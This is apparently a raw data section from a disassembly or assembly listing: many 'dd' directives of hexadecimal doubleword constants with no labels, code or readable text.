		dd 9572F1ECh, 0C2D2554Ah, 0DCBC9225h, 307D6396h, 9C66B00h
		dd 147084Bh, 6E93FACEh,	1D35D77h, 2F0F679Ah, 548A0812h
		dd 9CDEBA5Ah, 9DA6B72h,	44226C27h, 0C2F29456h, 94454D35h
		dd 0B012D489h, 8042E6C3h, 0E890D7B5h, 768FCE40h, 4C10DD28h
		dd 24ACB050h, 3B3C4A4Fh, 369709E2h, 0E4007EC2h,	4FEF3306h
		dd 3E0EAF8h, 5D432D27h,	0E4FAD143h, 419B1ADFh, 646C0815h
		dd 6944A40Bh, 49D12100h, 604E20E9h, 49DEE9FCh, 47F64544h
		dd 0D0E88B5Ah, 68F89707h, 741A2E0Dh, 80826603h,	0DB3847CCh
		dd 0DF946E5Eh, 1404DCBh, 1F558DBDh, 3EEC8157h, 32E3286Bh
		dd 824490C9h, 7FC70208h, 3BB900DCh, 4E0B8771h, 0DA59CB09h
		dd 0C2C84E71h, 0F3F75C58h, 2E94263h, 3053FDC9h,	1819871Eh
		dd 5F9213A1h, 8150FC7Bh, 43B56622h, 95A562F4h, 599339FFh
		dd 0F172EC6Ah, 686F67E2h, 0E82D6833h, 8EDE653h,	1785305Eh
		dd 0ED78CC04h, 6DAF0FAFh, 6CAE33B8h, 3DD15395h,	23723014h
		dd 9C23B381h, 91383076h, 11071C13h, 0E8E617FBh,	32B35B83h
		dd 9AE9B598h, 659F469Ah, 0F1183FF2h, 0C6FE1C16h, 2A4BDA98h
		dd 4EE7978Ch, 9217B7BAh, 8B055B00h, 4F503C72h, 0D235A052h
		dd 78446013h, 31271FBAh, 3AF3D1F2h, 2D68DB8Ch, 0E5A42BC1h
		dd 0F1BA125Eh, 9608BD80h, 67EDC05Bh, 0A286F5CFh, 0E13DA705h
		dd 4F4F3868h, 0ED75AAh,	0B879BFFCh, 4027E96Eh, 5E1D682Dh
		dd 685788EAh, 0EC46192Dh, 2B52C493h, 1B2CBB48h,	41AE416Ah
		dd 369CF5Ch, 0BFD048D2h, 0BB1FB516h, 8130A8Eh, 0F769B868h
		dd 18AC1CF5h, 0A7B65827h, 8FCD99Dh, 67259116h, 8932256Fh
		dd 20466A61h, 810723F2h, 0B25CF4C7h, 4B8047F4h,	4FF51EF7h
		dd 0FEC5B457h, 7C1D2118h, 245BBA0Ch, 38FE5CE0h,	18F3582h
		dd 60D8F7h, 9E1C0502h, 843EFD60h, 177F8EB2h, 0BDEF16BBh
		dd 1D820213h, 735F57E6h, 8280DD6h, 6697E40Ah, 2C4B5B79h
		dd 68BDB500h, 5151A154h, 8372C64Dh, 2EE2E927h, 9382AFD4h
		dd 0F5AE5EABh, 6BC1F749h, 5C0186A4h, 6D2D46D9h,	797FAF09h
		dd 0E60DCDFEh, 113640FDh, 20F5AC61h, 90CB8659h,	88DC7977h
		dd 243C445Dh, 0D8106CE5h, 2BE5F04Fh, 790FC56Fh,	0D48B0504h
		dd 0F07EA681h, 0A30AE941h, 76605D89h, 0F2284AF3h, 5B4B0103h
		dd 5A4EE939h, 0F75F0E6Dh, 15A0BA73h, 91505E61h,	2552FFD6h
		dd 0B1CB2C9h, 0A66F405Ah, 580FFC38h, 4320A05Fh,	80DEF61Ch
		dd 542867C9h, 99A03AEBh, 0C04B16B0h, 0D40C0FBAh, 5ECCBDDh
		dd 1E816286h, 0E328E717h, 7867231Dh, 5CB533ACh,	38EF8A1Ah
		dd 0C898FC3Ah, 0F19FCF2Fh, 0E95B47AAh, 2FE594FDh, 0C3793603h
		dd 2D7D5182h, 0C008823Eh, 58A14108h, 0B019AD7Fh, 0A89A32E9h
		dd 262DC899h, 31345A51h, 746D90h, 38D1BA52h, 0B9987229h
		dd 0C0E90BD5h, 0C79D0192h, 205AAF54h, 0A2566FB5h, 0EEAA5C6Bh
		dd 68F5A096h, 109E7014h, 63400FCDh, 72E90321h, 0C3FD0535h
		dd 0C4047BDBh, 0E49D8755h, 0BDBAF080h, 0AA744409h, 3422DF0Eh
		dd 0B97743ABh, 2902895Ch, 7A2144F5h, 13AEB2C5h,	60D18C6h
		dd 712A3C80h, 0FDBBEA05h, 5FF8F12Eh, 0C734C44Fh, 0BC4E94F1h
		dd 3DFBF5CBh, 5D3E89BBh, 6851AF33h, 3ADF27AFh, 823A57CBh
		dd 6F279B5Ah, 0AC4553B1h, 262104Eh, 0C286D0F6h,	0F2FC7588h
		dd 0DD9DB6AAh, 3412C690h, 50B873B6h, 1B409822h,	248677B2h
		dd 9FE0B594h, 579E97EEh, 7F9BAAE8h, 7B9D680Bh, 297A015Eh
		dd 0A19CF95h, 2D066856h, 0CE39C254h, 0FAE93D21h, 53120A6Ch
		dd 24A0EEB3h, 0EF3060A2h, 2C5BD828h, 9E042302h,	7060E953h
		dd 0CF012FD0h, 133A9EFDh, 2306DC68h, 0B133ABBh,	8D401C61h
		dd 36047EB0h, 0CBC23580h, 49D78106h, 10B5BB28h,	682F559Fh
		dd 4E598F55h, 0CD43B6B2h, 6C7675h, 7027C6F6h, 0D6F74101h
		dd 7CEBC7B8h, 4428C8CDh
		dd 93BDAFFAh, 5F258E4Bh, 3601927h, 0B680E5DCh, 4B5425D6h
		dd 0B21F1CBh, 22E61BF8h, 0CE17BD01h, 5F286854h,	5B7BEC36h
		dd 96A8B2C0h, 298B5104h, 1D58EA8Ah, 57C63F27h, 3E16C420h
		dd 0D3DD7768h, 2C6BDA8Eh, 0C40D87D0h, 0EEFA7EF6h, 10C27F40h
		dd 0E71309D3h, 42E6D631h, 22A29788h, 0E4506680h, 9058E857h
		dd 93276055h, 1C0FD8C3h, 0D3013116h, 4A08E910h,	9829A010h
		dd 2E49521Eh, 2C767C7h,	2ED53B31h, 0D94C9C0h, 437705E8h
		dd 30B9E306h, 31A6280h,	0A241D261h, 0F633DF01h,	0F7917A18h
		dd 6098C671h, 0FCCE2630h, 0AC9B60A7h, 475DB9BAh, 6894F697h
		dd 3752E39Fh, 0B410A58h, 74450F19h, 2243Dh, 5A527BA1h
		dd 1E139A0Dh, 0BBFC6A1Dh, 330C3500h, 38E92ABAh,	3B737549h
		dd 0E8ADA7D3h, 1786E5F8h, 158E263h, 0F923C507h,	0EA3D7051h
		dd 943F8C97h, 0D23B0226h, 5A023368h, 92BEEA65h,	0F6257CAh
		dd 0B72E5019h, 0B90760E4h, 88DDB29Fh, 5B6885F3h, 2028EC1Fh
		dd 19FD9D53h, 63121421h, 0F3BF7BF0h, 0FCFAA581h, 1F3FA32Ah
		dd 0DDA589Dh, 24C7147h,	7A912BABh, 0AC7EF372h, 707FE985h
		dd 8B450B9h, 9B2CE2B0h,	9828DC88h, 0D85EE289h, 4DBEDB0Dh
		dd 0E8A9D489h, 821CC14Dh, 69750F8Bh, 0F92AC3EDh, 0DA282DE9h
		dd 27DA77B6h, 0A57E7211h, 0C4835CE1h, 5AB08B3Eh, 318D54FBh
		dd 0E3ECDC05h, 33FFC03h, 293A1815h, 314AE9CDh, 0D617E23Bh
		dd 98A56E1Ch, 80DEE457h, 93A0CE01h, 3CF41730h, 803E2A0h
		dd 76ECB3Eh, 6619D7C1h,	0D012002Bh, 176DCC0Eh, 8C4124E9h
		dd 0B39856ADh, 7F0CEE30h, 2D3EAEEDh, 0F4C15DA8h, 0E40845C5h
		dd 744197F1h, 0D217760Ah, 107FA35Bh, 0E94119A0h, 0EE12A237h
		dd 9FCAEA5Dh, 1E42A52Fh, 0E9417177h, 9D6AD1DEh,	0F05F6010h
		dd 7DBA553Ah, 80B6B207h, 0EB42BEAh, 0CB290CE0h,	669C5AF2h
		dd 0C043CE01h, 59CA319Fh, 4FE9988Fh, 4BF2178Bh,	40480883h
		dd 0CA040B39h, 0D1A8DF43h, 5B5E0A08h, 704A4286h, 440B0152h
		dd 0F679A92Eh, 0E35B6471h, 45E91655h, 0B2AC1E50h, 7CA4E15Ch
		dd 71865948h, 0AA334A29h, 0C1D7F397h, 754ED772h, 7B1B5AA2h
		dd 40849877h, 4ABF167Eh, 5500BB5Ah, 0FAA6FE62h,	8BD55D89h
		dd 1A9BE909h, 47B31598h, 0F0CB8016h, 0B885A717h, 0AED36DF6h
		dd 0C1AA9E65h, 324D5166h, 40BA5BEFh, 249ABADBh,	294C0514h
		dd 1BEF137Ah, 0CA988132h, 0D77B48C7h, 0BABF2F93h, 571A956h
		dd 697F7F29h, 0E80A575h, 7ADA60F6h, 7E4E3158h, 0E8818926h
		dd 0F14C6683h, 0EA46D254h, 0C9A0FF47h, 23797BC3h, 22C3254Ch
		dd 0F8F10429h, 0F81B7303h, 0F350B92h, 80EB50C1h, 0C450A3BAh
		dd 0AFE7EE2Bh, 7D951AC5h, 56F30BBAh, 0E9E255F6h, 5F85C9C0h
		dd 0D871A97Ah, 77C5D30h, 0F796494Dh, 94F53BD0h,	0FEF6ECC7h
		dd 2E380B5Ch, 0D970DEF7h, 6A8EEE3Ch, 0E9C2257Fh, 962FD6B0h
		dd 0B0C4EFC2h, 0DE6BA1B5h, 83E90B16h, 0FB1C7F36h, 33FEEBA0h
		dd 0D623B228h, 4DCC060Bh, 2736D4DCh, 0ECC91CDCh, 0ACE91340h
		dd 0A8F9521Ah, 1782B14Bh, 2D9AE92Ah, 51E70018h,	4C8889B5h
		dd 417DE4E8h, 6357DAEBh, 278E385Dh, 9073CFAh, 0DFF75D80h
		dd 1F2E950h, 3FB941C0h,	34333912h, 910B43BDh, 6B74C2h
		dd 3E538CB8h, 0C11842EDh, 65911F58h, 0F35466BDh, 0ED2A51F5h
		dd 0F0CA9E52h, 7799D1D7h, 0A0643E10h, 522C3959h, 0CF7A802Dh
		dd 614AE6FCh, 44C51074h, 0D8AB53EEh, 5E70F963h,	0D0457EB5h
		dd 22C13DB4h, 5903ABBDh, 34D9C02Eh, 2D5B6064h, 290578B3h
		dd 0F8C589E8h, 244A3CD1h, 0F701B73Ah, 6BFD104Bh, 2D2CFD8h
		dd 47045E73h, 0DE787AE9h, 0C7895717h, 210A89FAh, 0E627CA42h
		dd 7BA1EC74h, 22D387Eh,	9226E988h, 8A7EB79Ch, 5F466CEBh
		dd 7F317CFh, 59EB6802h,	0E580A2F9h, 0E95D6228h,	3E4F4C6Fh
		dd 59DF29C9h, 80E94122h, 0B2CF2B03h, 0E3800548h, 7AC833BCh
		dd 0A7D2C3ECh, 678D2C41h, 8F811194h, 4E0A6405h,	9319317Eh
		dd 7D45012Bh, 0BFB814F8h, 0D12EAC0h, 0C29053B5h, 29A0A509h
		dd 0C1D2DD87h, 2F245ABDh, 36DE5D5Eh, 4712B068h,	9175FB2h
		dd 84EBE84Fh, 40BF3FBDh, 4A22E047h, 83C62111h, 90EB5FB8h
		dd 0A76E058Eh, 0C4D92960h, 0FC081210h, 971A44Eh, 1F343DE9h
		dd 165971BBh, 34B1BA3h,	1903CB32h, 52BF05A5h, 49F5FAC5h
		dd 0F580FF14h, 4C3A5732h, 9526DF3Ch, 55A580C2h,	0D7313749h
		dd 65C27497h, 856894A9h, 0B5B3BF79h, 17F36050h,	0C56C6138h
		dd 2FE70201h, 63E10A01h, 91013B43h, 6927C4B8h, 42C7EAEBh
		dd 62576871h, 984A7A40h, 10032A1Dh, 41EF028Dh, 9C9CD97h
		dd 0E2046358h, 124C0D07h, 0FC73A0FBh, 0ED4FB7FAh, 0BBE51FECh
		dd 67517601h, 9030D172h, 0A33A0BEBh, 9455E4CEh,	2C7996Bh
		dd 79AF2282h, 0F51F28BBh, 5C6592E9h, 0B975E947h, 2F28140Ah
		dd 0E9B3E549h, 22759EDAh, 0C203EEE5h, 0CB954017h, 3A732E56h
		dd 0D3D6ADC7h, 0BBACA512h, 422DAE4Eh, 706ED8DBh, 8C1B50E2h
		dd 0A47C51EFh, 0FB4B6E51h, 40F3C360h, 8FEC5B87h, 0C23B5260h
		dd 4859C37Ah, 0C34E68EDh, 0F5E045E0h, 210076F0h, 5DEA3116h
		dd 5E5AD009h, 0E77FE056h, 0B6319498h, 58E38355h, 2FCDA17Fh
		dd 0E95428FEh, 90E074Dh, 457D101h, 0C28D40F6h, 0C524EACDh
		dd 374A1232h, 2857E118h, 5B95D431h, 8BBA84C4h, 1E24AB6h
		dd 0DB4E9D19h, 8A2CE0EAh, 4C20C7B8h, 0CA313B77h, 2A62890h
		dd 2EECEABAh, 0F9B6EBDAh, 3A825DE8h, 4021FD3h, 8D4A855h
		dd 0CE65B928h, 32C1883Ch, 959FD839h, 986E8CE3h,	68165C0Eh
		dd 2DFF114Dh, 0FD037EEDh, 8566E268h, 561FF7AFh,	0D8606B25h
		dd 0FA65B78Dh, 0B91265A4h, 95AB92D5h, 0B01AB67h, 753B0AD1h
		dd 16C86030h, 0A102965Ch, 881FA36h, 722D27E9h, 20D70117h
		dd 0EB2146C3h, 0E9ACBE68h, 7F71C230h, 5D63D7CDh, 27792CCh
		dd 0E930911Fh, 0C657E59Ch, 45D32FD6h, 0FB9E49CEh, 0B5FC7A2Fh
		dd 0DEA9EE39h, 34948DCh, 63F3299Eh, 16FBC213h, 61FE0E5Fh
		dd 132F9Ah, 17519ABDh, 242133F0h, 97A7C03Ch, 564A0B62h
		dd 803AC1A2h, 55CCF0F4h, 9560E984h, 54F6B52Dh, 348813Ah
		dd 0D80132E6h, 3DC2A030h, 0BFC8A972h, 93548404h, 722DFB4Dh
		dd 0D501EE33h, 8DE9EA87h, 0E09D6E4Dh, 2AAAB16Fh, 68D420AFh
		dd 0DC2D15DDh, 8CD6F42Dh, 70D78811h, 7B5074FEh,	0C1835B91h
		dd 96837E7h, 10572192h,	34B039E5h, 33A079AAh, 350B274Eh
		dd 366298F6h, 8E7809F9h, 6F4B1DFAh, 63C4EBB9h, 52FE094Ah
		dd 0C080203Ch, 97015B24h, 65794983h, 0EC9EF117h, 21BA0304h
		dd 22DEF571h, 48083809h, 0C6180009h, 95492E3Dh,	5100D5D6h
		dd 29841EC4h, 0E2F9A1F2h, 0FAA1162Bh, 57F8F356h, 0A5C4C5A4h
		dd 89163B6Dh, 0C83184BBh, 0D19440C7h, 5595B620h, 98FA4FB3h
		dd 5C17AC56h, 0DF82B17h, 1314DE84h, 174EA304h, 0A76C5209h
		dd 0D301A4C4h, 37BA8CFBh, 58736398h, 0FD4AAEB0h, 7E59C8EBh
		dd 3C610F16h, 3A250EF0h, 411E4A83h, 0C9EC27F7h,	21145A09h
		dd 0D522554Ch, 0BB54C892h, 0B2F4E9D0h, 0E031979Eh, 23C42BE8h
		dd 0E167ACFAh, 0E22E119Ah, 0B0247814h, 0A98828C6h, 0E2546736h
		dd 264B8E1Dh, 0B5701FAh, 0F9EE75B2h, 73ABE934h,	95727687h
		dd 8093E662h, 0B763BE34h, 0B20BD1FBh, 0EAE7AF15h, 60A4E970h
		dd 3B794300h, 368515Dh,	0CFFAE3BEh, 74B0159h, 0C62C2EF8h
		dd 82E9C3C7h, 0B7004CA6h
		dd 5BF88865h, 0BD66C608h, 0D7A76BE7h, 0FA840C4h, 88395150h
		dd 59CC01F1h, 87E9D4F6h, 5F095638h, 0D159E0D3h,	0D7AB5E65h
		dd 614962BBh, 83043ACAh, 21ECF8h, 977CF325h, 9354875h
		dd 610220C4h, 58E9EE0Bh, 2B56FC7h, 2668E518h, 6F2C21B4h
		dd 5D930208h, 8C1A6404h, 0EE9231F8h, 0C7D4DE8Bh, 84D7BC4Fh
		dd 578DA677h, 4E7A6560h, 80896418h, 73265824h, 3D4F69FEh
		dd 4021748Ch, 0EA30C1DDh, 61915C02h, 33BBB070h,	0E2C108C0h
		dd 9F5BDBAh, 9177315h, 98DDC259h, 3E4B26DEh, 0FA479C9h
		dd 52598B18h, 0AFA9E57Dh, 300920D9h, 295BE410h,	2DAD67DDh
		dd 64520FF5h, 9DAD29A1h, 83A5224h, 0BE0119EAh, 1C8616F6h
		dd 2D2FD870h, 127F3A50h, 0E0800B23h, 0F26BE2Fh,	31659507h
		dd 48CACB2h, 14C26D45h,	54906EEh, 0F6287D4Ch, 0F8BDE0E3h
		dd 82559142h, 658B4E1Ah, 0D24B3851h, 0BBC020DBh, 41A0B907h
		dd 2CA44982h, 9C26EF4h,	62753CBAh, 1676255h, 0E567E908h
		dd 0C17C423h, 75198A31h, 0BF42FE88h, 0FCA74B7Bh, 0C313125Bh
		dd 2CF904CCh, 70C5C178h, 4C4FF5F7h, 0B61ECCE3h,	0A8CECF1Eh
		dd 0C1DF6C6h, 501F53F8h, 0C44F54B4h, 0C0DC8086h, 32E908ECh
		dd 665848F0h, 0C156E6C8h, 51C6D69Fh, 48F13050h,	0CB6B99Fh
		dd 21A4311h, 93B07621h,	0D410BDC6h, 0CAAEB488h,	0C9809BDCh
		dd 0B93A40FDh, 8B0D9A55h, 9716DE8Fh, 6840B15Dh,	0CBA4B063h
		dd 0EAC8A099h, 1BDF9756h, 0D1A2D163h, 0BA93F17Ch, 36055612h
		dd 61BF7208h, 5218A157h, 79FD542Ch, 0E6E9E1BCh,	0EE727A21h
		dd 4412FE51h, 7FE9BA29h, 70D8E90Ch, 6401052Eh, 21CA905Fh
		dd 0EF5858C3h, 2DF67BBAh, 538002A4h, 0BB0B1F46h, 7FD162C3h
		dd 0F1ABFC0Ah, 0E908003Eh, 1C9D364Ch, 60C4FC27h, 82BF76B7h
		dd 0A278651h, 0A5ECD629h, 9D637171h, 0E8C94B3Dh, 31A011Ah
		dd 41D1B97Eh, 5829CFD0h, 702537F9h, 68C1C0D1h, 8A6A3A0Bh
		dd 0CA8B3FF7h, 1057CBEAh, 680B264Ah, 9CDF2E19h,	2E14A465h
		dd 9DEA1F75h, 0B48CD2C8h, 6216745Ch, 0CDFF5EAAh, 0A7AF0600h
		dd 6321F305h, 2CC77295h, 356B5D61h, 9516E830h, 475A43ECh
		dd 905B97A4h, 72460D5Ch, 21F86465h, 520807CBh, 0DA6A3EC8h
		dd 0D720627Dh, 47E920B0h, 34EB835Fh, 0EC1E85F2h, 9CB3B189h
		dd 0ADEBC001h, 6C077D3Ah, 0A7E48F09h, 5120EF40h, 2F5357E1h
		dd 0A0FF056Fh, 69569CF5h, 0EB294E19h, 0F7007CCEh, 0E9489362h
		dd 0F19A1739h, 0BBCF897h, 4A4511Ch, 0F7EF427Fh,	4DE47C0Bh
		dd 791F122Dh, 80F7694Eh, 1E914B3Bh, 39DA9F48h, 546F3505h
		dd 73FC21D0h, 0BC040502h, 27D87F60h, 833A5D97h,	794B51D7h
		dd 51D53A92h, 15A0FEE0h, 793CCF49h, 2495BCBh, 70022AAFh
		dd 0E378B7BBh, 0ED4D74Eh, 0D70412E9h, 0AF6C594Fh, 0A17A7FA1h
		dd 0EF0B059Bh, 7D70CA13h, 9F80E1E9h, 0AB680110h, 0E0622C4Ah
		dd 0AEAD8355h, 0E13BFA26h, 402F23B4h, 0AD1A34C7h, 0D65C89E5h
		dd 11DC10C8h, 2ABFD4Eh,	2C3D39F6h, 4E4758C6h, 1DEA1FAEh
		dd 153ACCD9h, 5090DD6Dh, 54A2C502h, 5429781Ah, 58AF802Bh
		dd 5F56904Eh, 0D7D15E5Bh, 73B93E9h, 0C379B927h,	16D26A7Eh
		dd 5A12E6F4h, 8DEB8CBFh, 50180F60h, 6FAB652h, 0EE80CEFEh
		dd 0DE980659h, 3EA2D64Ch, 0F4CCAFF4h, 8DC68920h, 0CDCA5F04h
		dd 16A4E0E6h, 61038D99h, 0D933E04Ch, 26896D48h,	4B77A72Ch
		dd 574DE1F8h, 0B620EE2Ah, 68E6466Ch, 81F0582Eh,	0CA4369BDh
		dd 0B738E860h, 0E002D1B1h, 5E39C92Fh, 3511083Fh, 0FACF090Eh
		dd 60645F32h, 7D58AB98h, 0EA1E132Dh, 0D39D7FF7h, 3AE382EFh
		dd 7F6895A7h, 0C15434D3h, 3CBD1F9Dh, 65AA929Bh,	210DCEFh
		dd 4A5C708Ch, 40C6E3C3h, 0E8B00EB9h, 0DADB4D0h,	602555E9h
		dd 92A4F92Fh, 98A77D1Ch, 7B2A8381h, 9389A0C4h, 0B4C72FC6h
		dd 0E90E75F1h, 0D62F3C61h, 32EC6041h, 0DBB54C0Fh, 3371805Ah
		dd 59E97E1Fh, 8C90295Bh, 4FB80977h, 4055E121h, 520503F3h
		dd 0D57FF427h, 80FFA262h, 799C661Ch, 8DAEA045h,	4A202470h
		dd 0AE19078Ch, 0F628BAAh, 0E2BDD0DFh, 94ED9A57h, 395C25F6h
		dd 0D5BD0BC9h, 6495993Eh, 0E9550B3Ch, 0D6DEC252h, 0CF9CB054h
		dd 0EB77E932h, 380DADCh, 4B2CD6EDh, 4BDFE828h, 9C3A804h
		dd 88B3D5ADh, 6E772F98h, 0F895E97Dh, 0B45D9F5Fh, 0E7449F57h
		dd 0FE2E912h, 0E85262FEh, 0FE24A4D0h, 1C16ABC6h, 5160551Fh
		dd 0B56A9B31h, 9EE53948h, 1048C9FCh, 0B9C0A9DFh, 0DEC214Bh
		dd 30A394C1h, 0C8232B4h, 91D37228h, 1F851C60h, 6A953CB8h
		dd 0E408097Fh, 35482EFBh, 0FD5AF61h, 0AB1749DCh, 0AE145F60h
		dd 0ECC476B5h, 0BD2468BAh, 0B5C75955h, 34DB2h, 20EE1171h
		dd 5E856297h, 62426B3Ah, 925A3B60h, 0AAFB7828h,	6D4A3C09h
		dd 90B2846Fh, 0E4B1590Dh, 0BE5BBFh, 0C6B35080h,	9CC82902h
		dd 0A050768h, 1C746B6Dh, 0F1202025h, 4CBF74C7h,	5E7D4013h
		dd 1DFD132Eh, 20B6D9Dh,	8608407Bh, 8B5F1DC7h, 0BD4E0B53h
		dd 73E86812h, 2E9229FEh, 7F50A6A2h, 253967C5h, 2A20D2FDh
		dd 4539A2DDh, 4223EEACh, 0B9B45A29h, 0E42A5BF5h, 395CBC36h
		dd 0A009DEBFh, 3EB8FD08h, 124A0FE9h, 40F51BB4h,	0A985863h
		dd 0C2129ADCh, 7AB51F31h, 4C869C34h, 16794CDDh,	0AC6DC480h
		dd 0D7CC0318h, 0D831B252h, 0F62851EAh, 6FB631E9h, 0CCEC0557h
		dd 579D0849h, 0CBCAFB00h, 504E512Fh, 1D702B81h,	0FD24343Eh
		dd 0EFE4A05h, 820141C9h, 3E54016Dh, 0C9068F8h, 77856E48h
		dd 0A4B5B435h, 2C033F13h, 5AD19928h, 0CDB4F4E5h, 2B282A0Eh
		dd 4946DE50h, 0A5E0457h, 9D1C13EBh, 0C1AF13EAh,	0ECC00529h
		dd 5B5A6422h, 68519131h, 4FDC1DECh, 2890B83Eh, 0FA75CCCFh
		dd 404DD350h, 88DDDD5Eh, 7050CF3Ah, 7F79229Fh, 2EA7908h
		dd 0EDC1DDF7h, 8338FF76h, 4F52A330h, 1960E881h,	0AA224ADCh
		dd 4DEC1AC9h, 950AFE6Fh, 0FBD0D709h, 975B2B20h,	0D30B37F0h
		dd 7860267Ch, 574F0435h, 0C3495E9h, 99B685Bh, 16EFA56h
		dd 0EB4E4D05h, 0CEA8EA12h, 3CA80FA1h, 755B8952h, 99755F2h
		dd 58D5FE04h, 599F1858h, 1BD320C7h, 60491D6Bh, 405012FFh
		dd 0C6348B7Ah, 83916604h, 3D2118B4h, 3B7A76C2h,	0E9AFEC02h
		dd 0BA0CF36Ah, 0D45B1251h, 46D7B05Eh, 3390B1B8h, 2574C603h
		dd 0C5E9095Dh, 0E7EB4ED4h, 68D49828h, 6760164h,	41E95E38h
		dd 0CF247847h, 3C047654h, 3107F4E1h, 1D4772D1h,	0E81200C4h
		dd 8000254Ch, 20032DE6h, 2B49842h, 541A126Bh, 0C54AB5E9h
		dd 5E5D8062h, 777425FDh, 7066FC5Ah, 474A22E9h, 0C9DE21FDh
		dd 8356099Eh, 861A74A6h, 2DABD50Fh, 2D4F2B4Ch, 680AE2E3h
		dd 61DA388Dh, 3240478Fh, 853225B1h, 0A2BB5CDDh,	5DADD77Eh
		dd 0DCA4AEB5h, 7D7362B3h, 0D3558E84h, 9218BEC2h, 0DD09187Dh
		dd 3B5998EEh, 2EB91798h, 0C11E03BFh, 0A661033h,	3D0A4446h
		dd 0C9C01EF1h, 2948B736h, 140AC73Bh, 0D2C2F934h, 55277266h
		dd 5D6C9A12h, 0A8C2CEFCh, 5368011Eh, 0A6B98C19h, 72660A20h
		dd 59F8F9ADh, 6D1DC511h, 0F8AEF8Eh, 8BA44118h, 68E6F1F7h
		dd 0FE5EDE2Dh, 15CBE2DDh, 902694DDh, 0C9F9BFA9h, 0C458F4EBh
		dd 0AF88944Ch, 97BC241Fh, 0E6C9FCD8h, 144E960h,	815F7475h
		dd 0FD3D72E1h, 0B19A4070h, 3A588F4Ah, 0D9E45F85h, 0BDDC4035h
		dd 2E224918h, 1D0FCD82h, 801D380Eh, 15610CF5h, 0F897091Fh
		dd 0D9A52016h, 77D76804h
		dd 0EC16357h, 0D07A595Ch, 0E5C092A9h, 2BF28697h, 6AC500D7h
		dd 50014839h, 240F4268h, 38583AFDh, 71850D02h, 2D13046Ch
		dd 0AE25F443h, 224832B8h, 0DEFB2F05h, 32B3089Ah, 2B17E525h
		dd 0A30197ECh, 965E27AAh, 3D1A3253h, 6BDFC39Dh,	9589D96Ah
		dd 905E264h, 4DD21BEBh,	72089D6h, 0B37AA2C2h, 9822576Bh
		dd 21F676F5h, 52096870h, 3F34DD4Dh, 6930C00Ah, 604CE04Fh
		dd 763D7D09h, 0C40B058h, 5A788EA4h, 0D7DB81AEh,	0CFA58155h
		dd 2715067Bh, 14900820h, 0D6464A11h, 6C10AB01h,	0FE8DE923h
		dd 722B295Dh, 0B4C6980Fh, 273229BBh, 9244755h, 0B3574FE9h
		dd 813C2C83h, 9677CA02h, 491FC4Bh, 49EA32CFh, 42FAAEF1h
		dd 0ABC141C6h, 0B880CD68h, 6D38151Ah, 1E6F527Eh, 0EFF4771Dh
		dd 0BAC16B29h, 0A8E5D6A0h, 4F7BFC74h, 0CD13B74Ah, 9BEDA4BEh
		dd 2CDC3651h, 0BEC90226h, 5457F062h, 7A12C001h,	0E6B758E0h
		dd 0BA5205F0h, 87C5099Dh, 0ABC914AAh, 7C16AAE7h, 1ECF56D5h
		dd 22540CE6h, 809DE681h, 0C86585C7h, 0CE5AC625h, 0FE203951h
		dd 3BE2C9F4h, 9256D97Fh, 7E36E177h, 0FED374B3h,	752D579Eh
		dd 0D9586E61h, 0C28CF10h, 0D2D8921h, 31FC9BFBh,	5484533Eh
		dd 97B70719h, 0E736C306h, 25AD8B3Fh, 5F7E6171h,	22D2E27Ch
		dd 8CC0B65Bh, 0B829A97h, 0CC62FD80h, 0C4715AFFh, 82322h
		dd 0D560CAB8h, 2564B741h, 4AFE4890h, 912B57Ah, 28AF59C8h
		dd 0D31C0583h, 1025F2F1h, 2C2F8528h, 3EA93AF7h,	0C57D9580h
		dd 0FE25E947h, 5F26A8A5h, 50FC643h, 0FB5D9989h,	0A385AB70h
		dd 868304FEh, 31BCBE07h, 0E11889CCh, 48886640h,	7F3034C2h
		dd 6FADC661h, 0DCBDEF90h, 0C260132Ah, 4BD70519h, 2B42A824h
		dd 686F1D0Ah, 0BCFC6589h, 7FEA37C1h, 210AF56Fh,	0C0AB6831h
		dd 396E21DDh, 96BF4BE9h, 8E097605h, 7E1A2C52h, 0FCA32F95h
		dd 2517FD83h, 9BA88168h, 0B19AEBD2h, 0CFC82118h, 0FC1C71EBh
		dd 77672D73h, 0BD84DC09h, 592BBB4Ah, 0F256558h,	57E19A7Fh
		dd 0BA0CDA45h, 4F47A51Eh, 0C7B309C1h, 0C6042CD2h, 6755E1F7h
		dd 0E01651B9h, 2422BF53h, 68C581D0h, 432F134Ch,	8041B049h
		dd 0C128B2F8h, 0BCADCBEBh, 0E30328B3h, 0D03C56BDh, 550E505Ah
		dd 52572668h, 8D2DE0EFh, 652E1603h, 11FBBEE9h, 7B01EAFDh
		dd 30399524h, 18B7E352h, 2932F44Ch, 2D809F69h, 0EE4C020Ah
		dd 5D0015Ah, 9417078Fh,	0D9EAA5D9h, 0F79200DFh,	0C1E4E7D0h
		dd 12B195C3h, 64A43FEEh, 4AE9EC01h, 0FE2CC48Fh,	0D298FCA3h
		dd 2E057EC1h, 0A706B941h, 0DB00C1EFh, 0C6C78209h, 0D7641335h
		dd 1BD30A90h, 0A7075BB5h, 0DF50B102h, 7C09987Fh, 0C0FD8229h
		dd 0F4504DBEh, 0EBCB45Eh, 5D525266h, 0BB8B92F3h, 0AF964DF2h
		dd 403626CCh, 56485E31h, 0CAC55F16h, 7FCCCBBFh,	0CE9C403Fh
		dd 0DFA19CFFh, 0CE44014Eh, 4167E67h, 75A94Ah, 0F94F95B9h
		dd 3E82B06Ah, 532C20D6h, 3B94820h, 0F735D90Ah, 5F20F29Eh
		dd 0A0509DABh, 179C10B5h, 90FC0B04h, 0A2561CE9h, 0D899F425h
		dd 0FA498CE9h, 8EA55B07h, 0DA00B78h, 29002087h,	6D2D4828h
		dd 4C41F3CBh, 0BC5ED031h, 78BB9608h, 0BC316895h, 8E65756Dh
		dd 0CCE39B99h, 1116EBF6h, 2495206Fh, 6470CD82h,	5E210FE0h
		dd 49696335h, 68B0F540h, 6E0C005h, 17904C34h, 20E9F328h
		dd 17A4D44h, 0C9FB890h,	97D01E64h, 63C9477h, 0FEF1B252h
		dd 0D45F74CAh, 5E8A15B3h, 0BE0213B3h, 1D511A87h, 0DBDB0CE7h
		dd 0F723A225h, 0AC649C0h, 0D81B1132h, 0D25F0943h, 74580AAFh
		dd 25CF1DAFh, 3E88CE41h, 0D0C1F02Dh, 569D4478h,	0C436F8BEh
		dd 0ED149C85h, 341CBD02h, 48D70C16h, 1C061403h,	0E7E97BF0h
		dd 26B95A00h, 2502734Eh, 8CB1DEBEh, 5D045DDAh, 0A799FB1Ah
		dd 846EE3E6h, 4B23F6EEh, 1EB748A8h, 0D11B3082h,	0D4811260h
